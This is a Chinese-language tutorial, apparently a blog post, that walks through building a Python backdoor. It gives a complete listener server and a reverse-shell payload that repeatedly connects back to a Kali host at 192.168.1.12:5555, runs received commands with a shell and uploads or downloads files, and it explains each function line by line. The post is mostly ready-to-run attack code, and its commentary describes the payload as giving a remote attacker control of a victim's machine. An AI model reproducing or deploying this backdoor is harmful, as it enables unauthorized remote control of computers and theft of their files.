今天要分享的部分是創建一個有效的後門程式。
這個專案依然會使用Python來完成。我們需要構建兩個程式,一個是伺服器端程式,另一個是Payload(後門程式)。
由於本人沒有完全理解這個學習資源的教學,coding的部分會以ChatGPT輔助解說
IP:192.168.1.12
Port:5555
為該案例中kali機器的IP與選用的Port
import socket
import json
import os
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def reliable_recv():
data = ''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
target.settimeout(1)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
def target_communication():
while True:
command = input('* Shell~%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command == 'clear':
os.system('clear')
elif command[:3] == 'cd ':
pass
elif command[:8] == 'download':
download_file(command[9:])
elif command[:6] == 'upload':
upload_file(command[7:])
else:
result = reliable_recv()
print(result)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('192.168.1.12', 5555))
print('[+] Listening For The Incoming Connections')
sock.listen(5)
target, ip = sock.accept()
print('[+] Target Connected From: ' + str(ip))
target_communication()
import socket # 用於創建網絡連接的模組
import json # 用於數據編碼和解碼的模組
import os # 用於與操作系統進行交互的模組
reliable_send(data)
:
json.dumps(data)
將 Python 對象轉換為 JSON 字符串。target.send(jsondata.encode())
將 JSON 字符串編碼為字節並發送給目標。def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
reliable_recv()
:
target.recv(1024)
接收來自目標的1024字節數據。ValueError
,並繼續接收剩餘的數據。def reliable_recv():
data = ''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
upload_file(file_name)
:
open(file_name, 'rb')
以二進制讀取模式打開文件,然後將文件的內容發送給目標。def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
download_file(file_name)
:
open(file_name, 'wb')
以二進制寫入模式打開文件。target.settimeout(1)
以避免在接收過程中長時間等待。recv(1024)
以1024字節的塊大小接收文件內容,直到接收完成。def download_file(file_name):
f = open(file_name, 'wb')
target.settimeout(1)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
target_communication()
:
input('* Shell~%s: ' % str(ip))
接收用戶輸入的命令。quit
終止連接,clear
清屏,cd
切換目錄,download
和 upload
用於文件傳輸,其它命令則發送到目標並顯示結果。def target_communication():
while True:
command = input('* Shell~%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command == 'clear':
os.system('clear')
elif command[:3] == 'cd ':
pass
elif command[:8] == 'download':
download_file(command[9:])
elif command[:6] == 'upload':
upload_file(command[7:])
else:
result = reliable_recv()
print(result)
創建Socket並綁定IP和端口:
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
創建一個TCP套接字。sock.bind(('192.168.1.12', 5555))
將套接字綁定到指定的IP地址和端口。sock.listen(5)
開始監聽連接,允許最多5個未處理的連接請求。sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('192.168.1.12', 5555))
print('[+] Listening For The Incoming Connections')
sock.listen(5)
接受連接並開始通信:
target, ip = sock.accept()
接受傳入的連接,返回目標的套接字和IP地址。target_communication()
開始與目標通信。target, ip = sock.accept()
print('[+] Target Connected From: ' + str(ip))
target_communication()
這段代碼設計的主要目的是建立一個簡單的遠程殼,允許操作者在本地機器與遠程目標之間執行命令並傳輸文件。代碼中包含了基本的錯誤處理和文件傳輸邏輯,但在實際使用中可能需要更嚴格的安全措施。
import socket
import time
import subprocess
import json
import os
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def reliable_recv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def connection():
while True:
time.sleep(20)
try:
s.connect(('192.168.1.12',5555))
shell()
s.close()
break
except:
connection()
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'clear':
pass
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:6] == 'upload':
download_file(command[7:])
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
這段代碼是一個用於反向殼(Reverse Shell)的Python腳本,它可以讓遠程攻擊者控制運行該腳本的受害者機器。以下是對這段代碼的詳細註解和解釋:
import socket # 用於創建網絡連接的模組
import time # 用於控制程序暫停的模組
import subprocess # 用於執行系統命令的模組
import json # 用於數據編碼和解碼的模組
import os # 用於與操作系統進行交互的模組
reliable_send(data)
:
json.dumps(data)
將 Python 對象轉換為 JSON 字符串。s.send(jsondata.encode())
將 JSON 字符串編碼為字節並發送給控制端。def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
reliable_recv()
:
s.recv(1024)
接收來自控制端的1024字節數據。ValueError
,並繼續接收剩餘的數據。def reliable_recv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
connection()
:
s.connect(('192.168.1.12', 5555))
嘗試與指定的IP和端口建立TCP連接。shell()
函數進行命令交互。def connection():
while True:
time.sleep(20)
try:
s.connect(('192.168.1.12', 5555))
shell()
s.close()
break
except:
connection()
upload_file(file_name)
:
open(file_name, 'rb')
以二進制讀取模式打開文件,然後將文件的內容發送給控制端。def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
download_file(file_name)
:
open(file_name, 'wb')
以二進制寫入模式打開文件。s.settimeout(1)
以避免在接收過程中長時間等待。recv(1024)
以1024字節的塊大小接收文件內容,直到接收完成。def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
shell()
:
reliable_recv()
接收來自控制端的命令。quit
終止連接,clear
清屏,cd
切換目錄,download
和 upload
用於文件傳輸,其它命令則通過 subprocess.Popen()
執行並返回結果。def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'clear':
pass
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:6] == 'upload':
download_file(command[7:])
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
創建Socket並建立連接:
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
創建一個TCP套接字。connection()
函數,不斷嘗試與控制端建立連接。s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
這段代碼設計的主要目的是在受害者機器上建立一個反向殼,允許遠程控制端通過網絡控制受害者機器,執行命令、上傳和下載文件。代碼中包含了基本的錯誤處理和重連邏輯,但在實際使用中可能會引起嚴重的安全風險,應避免在未經許可的情況下使用。